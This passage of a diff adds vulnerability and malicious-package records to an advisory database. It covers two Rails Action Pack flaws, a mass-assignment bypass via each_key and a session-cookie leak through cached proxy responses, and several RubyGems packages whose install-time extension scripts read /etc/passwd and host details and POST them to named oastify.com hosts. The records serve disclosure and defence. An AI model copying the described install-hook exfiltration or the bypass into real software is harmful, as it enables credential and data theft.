`ActiveSupport::HashWithIndifferentAccess` that holds the request parameters, so when called with a block it returns that hash instead of the `Parameters` instance. The hash does not respond to `permitted?`, so Active Model mass assignment (`new`, `assign_attributes`, `update`) accepts it without raising `ActiveModel::ForbiddenAttributesError`. An application that passes the return value of `each_key` to mass assignment could allow a remote, unauthenticated attacker to set attributes that the application does not permit, such as an authorization flag.\n\nThis is an incomplete fix of [CVE-2020-8164](https://github.com/advisories/GHSA-8727-m6gj-mc37), which made `each`, `each_pair` and `each_value` return the `Parameters` instance but left `each_key` delegated.\n\n### Details\nThe fixed releases define `Parameters#each_key` to yield each key and return the `Parameters` instance when given a block, as `each`, `each_pair` and `each_value` do, and to return an `Enumerator` without one. Code that used the return value of `each_key` as a hash now receives the `Parameters` instance, which mass assignment rejects unless it is permitted.\n\n### Affected applications\nAn application is affected if it passes the return value of `ActionController::Parameters#each_key`, called with a block, to mass assignment. Rails itself makes no such call.\n\n### Workarounds\nDo not use the return value of `each_key`. Call it for its block only, and pass the permitted `Parameters` instance to mass assignment.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/8ba746e0a786458c281060823f2ccc5c5f6312ac.patch\n- 8.0: https://github.com/rails/rails/commit/2fc8838300133931e19eed3ea6cee76a7e83f19c.patch\n\n### Versions affected\n- actionpack < 8.0.5.2\n- actionpack >= 8.1, < 8.1.4.1\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [smlee](https://hackerone.com/smlee).","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wm3x-v3qw-4jh3/GHSA-wm3x-v3qw-4jh3.json"}},{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.9.0","0.9.5","1.0.0","1.0.1","1.1.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","1.9.1","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wm3x-v3qw-4jh3/GHSA-wm3x-v3qw-4jh3.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-wm3x-v3qw-4jh3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126081"},{"type":"WEB","url":"https://github.com/rails/rails/commit/2fc8838300133931e19eed3ea6cee76a7e83f19c"},{"type":"WEB","url":"https://github.com/rails/rails/commit/8ba746e0a786458c281060823f2ccc5c5f6312ac"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-wm3x-v3qw-4jh3.yml"}],"database_specific":{"cwe_ids":["CWE-915"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:37:09Z","nvd_published_at":"2026-11-10T21:19:26Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-x6mj-8jx9-qhqv.json b/data/RubyGems/GHSA-x6mj-8jx9-qhqv.json new file mode 100644 index 0000000000..884c316450 --- /dev/null +++ b/data/RubyGems/GHSA-x6mj-8jx9-qhqv.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-x6mj-8jx9-qhqv","published":"2026-11-12T23:44:39Z","modified":"2026-11-13T00:00:05.213491996Z","aliases":["CVE-2026-126077"],"summary":"Action Pack: Possible sensitive session information leak in Active Storage proxy mode","details":"### Impact\nWhen `ActionDispatch::Cookies` reads a signed or encrypted cookie that was written under a rotated secret (`config.action_dispatch.cookies_rotations`) or in the format that a `:hybrid` cookie serializer migrates from, it writes the cookie back to the response in the current format, and that write ignores `request.session_options[:skip]`. `ActiveStorage::DisableSession` relies on that option to keep the session cookie off the public, immutable responses of the Active Storage proxy controllers, but those controllers still load the session, so a request carrying an old-format session cookie could receive the rewritten session cookie in `Set-Cookie` on a cacheable response. A shared cache that stores such a response together with its `Set-Cookie` header could then serve one user's session to later requesters of the same URL, or serve an attacker's session to other users.\n\nApplications are affected when they serve Active Storage files through the proxy controllers, have a cookie rotation or a `:hybrid` serializer migration configured, and run behind a cache that stores `Set-Cookie` on public responses. This is a path around the fix for [CVE-2024-26144](https://github.com/advisories/GHSA-8h22-8cf7-hq6g).\n\n### Details\nIn the fixed releases, a response that skips the session leaves an old-format signed or encrypted cookie unchanged, and the next request that does not skip the session upgrades it. An application that skips the session on every request no longer upgrades its signed or encrypted cookies. Cookies that the application sets explicitly are still written. See the Action Pack CHANGELOG.\n\n### Workarounds\nConfigure caching proxies not to store responses that carry a `Set-Cookie` header, or complete the cookie rotation or serializer migration and remove it from the configuration.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/849a6c30eacbb6ca4722132f43c4333a93188556.patch\n- 8.0: https://github.com/rails/rails/commit/0e6cf8faa89caf4c64311d35ca2bc88c1458d4e3.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [flashmyname](https://hackerone.com/flashmyname).","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x6mj-8jx9-qhqv/GHSA-x6mj-8jx9-qhqv.json"}},{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.9.0","0.9.5","1.0.0","1.0.1","1.1.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","1.9.1","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x6mj-8jx9-qhqv/GHSA-x6mj-8jx9-qhqv.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-x6mj-8jx9-qhqv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126077"},{"type":"WEB","url":"https://github.com/rails/rails/commit/0e6cf8faa89caf4c64311d35ca2bc88c1458d4e3"},{"type":"WEB","url":"https://github.com/rails/rails/commit/849a6c30eacbb6ca4722132f43c4333a93188556"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-x6mj-8jx9-qhqv.yml"}],"database_specific":{"cwe_ids":["CWE-200"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:44:39Z","nvd_published_at":"2026-11-10T21:19:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/MAL-2026-19156.json b/data/RubyGems/MAL-2026-19156.json new file mode 100644 index 0000000000..595a5fdf76 --- /dev/null +++ b/data/RubyGems/MAL-2026-19156.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19156","published":"2026-11-12T15:51:49Z","modified":"2026-11-12T16:30:05.032592977Z","summary":"Malicious code in buffer-code-exercise-api (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b575cb1f6c5f576af68398e3ad383942d6ec5f065456948bc51df018e7e0ab68)\nThe gem declares ext/mkrf_conf.rb as a native extension via the gemspec `extensions:` entry, which causes RubyGems to execute the script during `gem install`. The script performs no native build work and ships no native sources. Instead, it collects hostname, login name, current working directory, home directory, and the contents of /etc/passwd, /etc/hosts, and /etc/resolv.conf, JSON-encodes them, and POSTs them over TLS to the hardcoded host 0ef6jllhq32e17z4aaeqzbgn3e9fx5lu.oastify.com (a Burp Collaborator out-of-band interaction subdomain), preceded by a DNS probe to the same host. The destination is not associated with the package's publisher, and the files read bear no relation to building a native extension. The extension entry is used purely as an install-time execution vector.\n","affected":[{"package":{"name":"buffer-code-exercise-api","ecosystem":"RubyGems","purl":"pkg:gem/buffer-code-exercise-api"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/mkrf_conf.rb","sha256":"4b4a59c95e189d6d47ae981157f6a64b0d7a2271accd155e3c17f2f881b59abe","tlsh":"6f110299938d7c609b5284afd60cb4c26497dd86c5065c62bb9904a0cf6ef7d33305f5"},{"path":"metadata.yaml","sha256":"043781dea297aca4ad762b455826ba1b4818a946e91e3d403570984ba239742e","tlsh":"65119b80bac7e47af101e2e75c103707b3b3d918bea63c019a8bd2ea03d596a3747165"}],"package_integrity":[{"filename":"buffer-code-exercise-api-1.0.1.gem","hashes":{"sha256":"78134ed0f7174961a7510e0478ae477de0f63fdf0ef17f5ba57e597c05e283bf"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/buffer-code-exercise-api/MAL-2026-19156.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/buffer-code-exercise-api/versions/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022649","import_time":"2026-11-12T16:13:53.481802657Z","modified_time":"2026-11-12T15:51:49Z","sha256":"b575cb1f6c5f576af68398e3ad383942d6ec5f065456948bc51df018e7e0ab68","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/RubyGems/MAL-2026-19157.json b/data/RubyGems/MAL-2026-19157.json new file mode 100644 index 0000000000..cff14965ed --- /dev/null +++ b/data/RubyGems/MAL-2026-19157.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19157","published":"2026-11-12T15:51:40Z","modified":"2026-11-12T16:30:05.040708260Z","summary":"Malicious code in cheesebox (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5b03698e5384db9f041d0e2caa51db10abc0d0dcbfc1e5e77b795acc4d8cec76)\nThe gem declares mkrf_conf.rb as a native extension in its gemspec, causing it to execute automatically during `gem install`. On execution the script reads installer-side system files (/etc/passwd, /etc/hosts, /etc/resolv.conf) and collects host identifiers (hostname, username, home directory, current working directory), then opens a TLS TCPSocket to the hardcoded Burp Collaborator subdomain xwx31i3e80kbj4h1s7wnh8yklbrdf33s.oastify.com on port 443 and POSTs the collected data as JSON. The destination is an attacker-controlled out-of-band interaction host, not any infrastructure related to the gem's declared purpose, and the data read is unrelated to building a native extension (no mkmf probing, no compilation of shipped sources).\n","affected":[{"package":{"name":"cheesebox","ecosystem":"RubyGems","purl":"pkg:gem/cheesebox"},"versions":["10.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/mkrf_conf.rb","sha256":"298d01af34f1ff9361870ff26078aff9a19249828e81056e2f3b877268124bc8","tlsh":"ad11328857897cf06b6288efd14c20826493ce5aca452462ff9944a0cfadb3c33319f9"}],"package_integrity":[{"filename":"cheesebox-10.0.1.gem","hashes":{"sha256":"c020e06f85c8f9ad442392d84b8b0e9608b19484c8e81e9e058e999568501e9a"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/cheesebox/MAL-2026-19157.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/cheesebox/versions/10.0.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022648","import_time":"2026-11-12T16:13:53.337029441Z","modified_time":"2026-11-12T15:51:40Z","sha256":"5b03698e5384db9f041d0e2caa51db10abc0d0dcbfc1e5e77b795acc4d8cec76","source":"amazon-inspector","versions":["10.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/RubyGems/MAL-2026-19177.json b/data/RubyGems/MAL-2026-19177.json new file mode 100644 index 0000000000..1e03792190 --- /dev/null +++ b/data/RubyGems/MAL-2026-19177.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19177","published":"2026-11-12T17:40:54Z","modified":"2026-11-12T20:15:03.341225514Z","summary":"Malicious code in pentest-copilot (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (23e305059e2c1f7f8f37b8478aa90214d1e916fc3f2287eb90f7bca7e9dcac32)\nThe gem declares an extension script (mkrf_conf.rb / RakeBuilder) that runs automatically on `gem install`. At install time it collects installer-side identifiers (current working directory, home directory, hostname, login name) and reads local files /etc/resolv.conf, /etc/passwd, and /etc/hosts, then performs a DNS lookup to the Burp Collaborator subdomain vfe1kgmcry39220zb5fl06hi49acy2mr.oastify.com and opens a TLS connection to the same host on port 443, POSTing the collected host identifiers and file contents in the request body. The Collaborator destination is attacker-controlled out-of-band 